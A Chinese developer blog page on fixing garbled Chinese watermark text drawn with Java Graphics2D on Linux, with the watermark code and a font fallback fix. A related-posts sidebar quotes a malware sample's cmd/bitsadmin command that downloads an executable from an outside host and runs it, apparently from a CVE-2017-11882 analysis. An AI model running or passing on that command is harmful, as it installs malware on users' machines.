文档章节

为图片写水印的时候中文乱码

qimh
 qimh
发布于 07/17 15:20
字数 640
阅读 6
收藏 0

缘由:源代码在本地win7 操作系统添加水印正常,但在linux 7.4 上 添加水印乱码(空心方格)

问题的本质是在linux 操作系统中没有对Font 类支持的字体,才会出现乱码

问题截图:

1.系统linux7.4

2.语言java

通过此命令可以查看系统支持的字符集

GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
String[] fontFamilies = ge.getAvailableFontFamilyNames();
for (String s : fontFamilies) {
 	System.out.println(s);
}

查看的结果

从结果来看,对中文的支持“標楷體”。

 

3.win7 正常代码

package com.housekeeper.myutils;

import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics2D;
import java.awt.GraphicsEnvironment;
import java.awt.Image;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.FileOutputStream;

import javax.imageio.ImageIO;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class WaterMarkUtils
{
    
    /**
     * 给图片添加水印
     * 
     * @param filePath 需要添加水印的图片的路径
     * @param markContent 水印的文字
     * @param markContentColor 水印文字的颜色
     * @param qualNum 图片质量
     * @return
     */
    public void mark(String srcImgPath, String outImgPath, String watermarkStr)
    {
        try
        {
            // 读取原图片信息
            File srcImgFile = new File(srcImgPath);
            Image srcImg = ImageIO.read(srcImgFile);
            int srcImgWidth = srcImg.getWidth(null);
            int srcImgHeight = srcImg.getHeight(null);
            // 加水印
            BufferedImage bufImg = new BufferedImage(srcImgWidth, srcImgHeight, BufferedImage.TYPE_INT_RGB);
            Graphics2D g = bufImg.createGraphics();
            
            g.drawImage(srcImg, 0, 0, srcImgWidth, srcImgHeight, null);
            
            Font font = new Font("標楷體", Font.PLAIN, 50);//宋体
            g.setColor(Color.gray); // 根据图片的背景设置水印颜色
            
            g.setFont(font);
            int x = (srcImgWidth - getWatermarkLength(watermarkStr, g)) / 2;
            int y = srcImgHeight / 2;
            g.drawString(watermarkStr, x, y);
            
            g.dispose();
            // 输出图片
            FileOutputStream outImgStream = new FileOutputStream(outImgPath);
            ImageIO.write(bufImg, "jpg", outImgStream);
            outImgStream.flush();
            outImgStream.close();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
    
    // 获取水印文字总长度
    public int getWatermarkLength(String str, Graphics2D g)
    {
        return g.getFontMetrics(g.getFont()).charsWidth(str.toCharArray(), 0, str.length());
    }
    
    
    /**
	 * 向页面输出流程图片
	 * 
	 * @param request
	 * @param response
	 * @return
	 */
	public static String printWaterMark(HttpServletRequest request,
			HttpServletResponse response) {
		
		//new WaterMarkUtils().mark("/data/11.jpg", "/data/watermark.jpg", "水印就是这样的!!!!");
		new WaterMarkUtils().mark("/data/11.jpg", "/data/watermark.jpg", "水印就是这样的!!!!");
		
		
		
		GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
  		String[] fontFamilies = ge.getAvailableFontFamilyNames();
  		for (String s : fontFamilies) {
  		    System.out.println(s);
  		}
		
		
		
		return "success";

	}
    
    
    
    public static void main(String[] args)
    { // 原图位置, 输出图片位置, 水印文字
        new WaterMarkUtils().mark("D://11.jpg", "D://watermark.jpg", "水印就是这样的!!!!");
        System.out.println("end..............");
        
//        GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
//		String[] fontFamilies = ge.getAvailableFontFamilyNames();
//		for (String s : fontFamilies) {
//		    System.out.println(s);
//		}
    }
    
}

 

 

4.解决方法,在jdk 安装目录(我的jdk安装目录:/usr/local/java/jdk1.8.0_162/jre/lib/fonts/fallback)下的fonts 目录下添加fallback 目录,把C:\Windows\Fonts 目录下的字体 拷贝到fallback目录下即可(亲测可用)。或者 就使用系统原有的字体也可以。

 

参考链接:

https://blog.csdn.net/qq994406030/article/details/63262902

http://onlyor.iteye.com/blog/2102948

http://www.iteye.com/topic/1120869

© 著作权归作者所有

共有 人打赏支持
qimh
粉丝 8
博文 353
码字总数 64168
作品 0
滁州
程序员
Linux环境下BufferedImage Graphics drawString 中文乱码解决方法

在linux环境下的,生成的带文字的图片在前台一直显示为方框乱码,windows环境正常。 img.setFont(new Font("宋体", Font.BOLD, 20)); 写中文进入图片之前必须设置字体,而且这个字体必须支持...

飓风2000
2016/12/08
15
0
Thinkphp中文水印和图片水印合体集成插件

今天给大家分享一下中文水印和图片水印合体集成插件,Thinkphp只有单独的加文字或加图片,由于工作的需要需要同里加“文字”和“图片”于是,试着修改了一下,只需要一行代码解决图片和文字水...

2当家的
2016/12/14
183
0
Tiles2框架乱码问题jsp乱码

我直接打开某一个jsp的时候,页面里面的中文没有乱码,包括从数据库读取的数据也没有乱码,但是放在tiles2里面的时候页面的中文全部乱码,包括写死在页面的中文,求解答,是突然一下子变成的...

shyar
2013/02/27
530
1
javaweb前台对参数加密,后台解密,避免出现中文乱码

废话不多说,在web开放中遇到前台向后台传值,注意:中文值的时候,后台如果单纯的用request.getParamter(name);接收,得到的是一个乱码,如何避免出现中文乱码?这里简单的介绍下,我自己的...

什么是程序员
2015/12/17
68
0
Python为图片素材起个英文名

写网页的时候, 我们经常需要使用图片素材, 图片素材如果是中文名, 挂到服务器会会引发乱码, 我们需要将图片名称改为英文字符才可以使用 而起名是一个世界级难题, 为图片素材起英文名更是一件...

木子昭
07/13
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
7分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
20分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
21分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
33分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部